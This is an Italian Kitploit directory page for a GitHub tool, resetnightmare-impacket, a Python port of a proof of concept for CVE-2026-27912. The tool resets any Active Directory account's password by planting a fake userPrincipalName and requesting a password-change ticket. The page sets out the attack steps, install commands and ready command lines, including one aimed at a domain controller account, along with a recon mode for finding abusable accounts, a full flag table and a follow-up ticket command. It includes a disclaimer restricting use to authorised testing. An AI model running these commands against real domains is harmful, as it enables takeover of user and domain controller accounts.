Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — port Linux/impacket del PoC Invoke-ResetNightmare della Semperis Community | Kitploit
Strumenti/GitHubGitHub/mihat2/resetnightmare-impacket
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitRaccolta InformazioniPenetration TestingAutenticazioneRed Teaming
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — port Linux/impacket del PoC Invoke-ResetNightmare della Semperis Community

Vedi Repository
139 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ResetNightmare — CVE-2026-27912

Strumentazione Linux / impacket per CVE-2026-27912 ("ResetNightmare"). Reimposta la password di un account Active Directory bersaglio richiedendo un TGT kadmin/changepw per un principal NT_ENTERPRISE il cui nome è il sAMAccountName del bersaglio, usando un account (UPNUser) su cui possiamo scrivere un userPrincipalName fittizio.

Porting Python dello strumento PowerShell Semperis Community Invoke-ResetNightmare (vedi Credits).

⚠️ Disclaimer legale

Solo per test di sicurezza autorizzati e uso didattico. Questo strumento modifica credenziali Active Directory reali e può bloccare account.

  • Eseguilo solo su sistemi di cui sei proprietario o per i quali hai un'esplicita autorizzazione scritta a testarli (un incarico firmato o un laboratorio che controlli).
  • L'accesso non autorizzato a sistemi informatici è illegale (ad es. il CFAA statunitense, il UK Computer Misuse Act ed equivalenti) e può comportare sanzioni penali e civili.
  • Gli autori non accettano alcuna responsabilità per un uso improprio. Il software è fornito "AS IS" — vedi LICENSE. Se non hai il permesso, non eseguirlo.

Come funziona

  1. (facoltativo) Crea UPNUser, concedi a te stesso GenericAll, imposta la sua password e abilitalo.
  2. Risolvi il sAMAccountName del bersaglio.
  3. Imposta UPNUser.userPrincipalName = <targetSAN> (lo UPN fittizio).
  4. AS-REQ come NT_ENTERPRISE '<targetSAN>' per kadmin/changepw — il KDC associa lo UPN enterprise al bersaglio ed emette un TGT di cambio password per esso.
  5. Rimuovi lo UPN fittizio.
  6. kpasswd cambio password con quel TGT → imposta la password del bersaglio.
  7. Ripristina lo UPN originale di UPNUser.

Installazione

root@kitploit:~
python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Utilizzo

Le credenziali dell'operatore sono il primo argomento posizionale: [domain/]username[:password]. Qualsiasi password può essere omessa e ti verrà richiesta.

Recon — cosa può abusare di questo account? Segnala gli account su cui puoi scrivere uno UPN, le OU in cui puoi creare oggetti e la MachineAccountQuota, con i comandi suggeriti:

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Reimposta un bersaglio usando un account su cui puoi scrivere uno UPN:

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Crea prima l'account UPN (richiede il diritto Create Child sulla OU e LDAPS):

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Aggiungi -debug per un logging dettagliato di AS-REQ / LDAP / kpasswd.

Flag

Le password vengono richieste in modo interattivo quando omesse.

Risoluzione dei problemi

Errori di --create-new-path:

Note:

  • LDAPS è attivo per impostazione predefinita. AD accetta scritture unicodePwd solo su TLS, quindi --create-new-path lo richiede. Usa --no-ssl solo per percorsi di sola lettura/UPN.
  • --find segnala solo le ACE di consenso (allow) concesse a te o ai tuoi gruppi (più la proprietà degli oggetti e la MachineAccountQuota); le ACE di diniego (deny) e le appartenenze cross-domain non sono valutate completamente. Un risultato vuoto non è la prova che non esista un percorso: verifica prima dell'uso.

Dopo il successo

Lo strumento stampa un comando successivo per ottenere un ticket utilizzabile come bersaglio:

root@kitploit:~
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

Credits

  • Semperis Community — ResetNightmare — la ricerca originale e lo strumento PowerShell Invoke-ResetNightmare che questo progetto porta.
  • impacket — primitive Kerberos e ldaptypes.
  • ldap3 — il client LDAP.

Porting comunitario indipendente; non affiliato a Semperis né da essa approvato.

Licenza

MIT © 2026 mihat2.

Scarica lo strumento
FlagSignificato
<positional>Credenziali operatore: [domain/]username[:password]
--target-accountsAMAccountName da reimpostare (gli account computer terminano con $)
--target-new-passwordNuova password da impostare sul bersaglio
--upn-userAccount su cui scrivere lo UPN fittizio (o da creare con --create-new-path)
--upn-user-passwordPassword in chiaro di --upn-user
--computerTratta --upn-user come un account computer
--create-new-path <DN>OU/Contenitore in cui creare prima --upn-user (richiede LDAPS)
--findRecon: segnala account/OU abusabili + comandi suggeriti, poi esci
--list-ousElenca le OU/contenitori ed esci (scegli un --create-new-path valido)
--aes-key <hex>Chiave AES di --upn-user per l'AS-REQ al posto della password
--upn-user-hash <NT>Hash NT (o LM:NT) di --upn-user per l'AS-REQ al posto della password
-k, --kerberosBind LDAP Kerberos (SASL/GSSAPI) (usa KRB5CCNAME)
-H LM:NTBind LDAP Pass-the-hash (NTLM)
--no-passNon richiedere la password (usa -k / KRB5CCNAME)
--dc-hostHostname/FQDN del DC (per gli SPN Kerberos)
--dc-ipIndirizzo IP del DC
--no-sslLDAP semplice/389 (incompatibile con --create-new-path)
--supported-encryptionEnctype preferito, informativo (default aes256)
-debugLogging dettagliato
SintomoCausaSoluzione
result 50, insufficientAccessRightsLa OU esiste ma non hai il diritto Create Child su di essa.Usa una OU su cui puoi scrivere (--list-ous / --find), oppure rimuovi --create-new-path e abusa di un account esistente tramite --upn-user.
result 32, noSuchObject — best match: DC=corp,DC=localLa catena genitore del DN non esiste (DN parziale/indovinato).Enumera con --list-ous e incolla il DN annidato completo. Le OU sono annidate; un nome da solo non è il suo percorso.
result 53, unwillingToPerform al passaggio della passwordScrittura di unicodePwd su un canale non-TLS, oppure password debole rispetto ai criteri.Mantieni LDAPS (non passare --no-ssl); usa una password conforme.